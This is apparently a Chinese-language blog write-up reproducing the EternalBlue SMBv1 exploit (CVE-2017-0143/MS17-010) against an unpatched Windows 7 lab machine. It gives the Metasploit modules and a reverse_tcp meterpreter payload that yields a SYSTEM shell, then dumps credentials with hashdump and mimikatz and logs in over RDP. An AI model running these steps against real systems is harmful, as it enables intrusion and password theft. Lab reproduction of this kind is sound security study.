欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2017-0143(远程溢出)漏洞复现

程序员文章站 2022-03-24 08:41:18
...

一、漏洞原理
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
二、影响版本
Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
三、漏洞利用
在现在来说永恒之蓝漏洞算是有点老的漏洞了,Metasploit上已经有集成payload了,但是其危害确实是很大的,因为只要用它打进去似乎直接就是system权限,所以还是拿出来复现了一下。这里我搭的环境是win7,之前用过winxp做环境,结果也是一样的(直接system)。本来这次是打算用win8作为实验环境的,但是在最后用payload去exploit的时候一直回显超时(但是攻击机是ping得通win8机子的,并且扫描模块也显示搭的win8有cve-2017-0143漏洞),所以就换成了win7。不管是用哪种操作系统做环境,前提都要是没打cve-2017-0143漏洞的补丁的,不然怎么样都是白搞。
1.环境
攻击机:kali(192.168.123.31)
目标机:win7(192.168.123.79)
2.漏洞利用
端口扫描查看目标机开455端口没,没开就不用考虑下一步了nmap -sS 192.168.123.79

CVE-2017-0143(远程溢出)漏洞复现
然后就是直接启用msf,去查cve-2017-0143的集成模块search cve-2017-0143
CVE-2017-0143(远程溢出)漏洞复现
然后先用扫描模块扫描一下目标机的永恒之蓝漏洞能不能用
use auxiliary/scanner/smb/smb_ms17_010CVE-2017-0143(远程溢出)漏洞复现该设置什么参数就都设置上
CVE-2017-0143(远程溢出)漏洞复现
是能看到目标机上的永恒之蓝漏洞是可以利用的,接下来就是使用攻击模块了

 use  exploit/windows/smb/ms17_010_eternalblue

同时选择载荷(shellcode),我用的是回连至客户端(shell)的payload

set payload  windows/x64/meterpreter/reverse_tcp

然后就是该配置啥参数就配置啥参数
CVE-2017-0143(远程溢出)漏洞复现
这里我用的本地监听端口是8888,默认是4444,然后直接run就行了
CVE-2017-0143(远程溢出)漏洞复现
这里能看到进来直接就是system权限。
3.如果目标机还开了3389端口的话,还可以尝试去获取用户登录密码。
先用hashdump获取hash值。
mimikatz是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等,meterpreter中正集成了这款工具。
执行load mimikatz即可加载该工具,然后运行命令msv,导出hash
CVE-2017-0143(远程溢出)漏洞复现
然后执行kerberos就能拿到用户登录密码了
CVE-2017-0143(远程溢出)漏洞复现
拿到用户登录的账户密码就可以尝试远程连接了,如果连接请求被拦截了,可以尝试将端口转发到攻击机的本地端口进行连接

rdesktop  127.0.0.1 -u 用户名  -p 密码

然后就能弹回目标机的桌面了。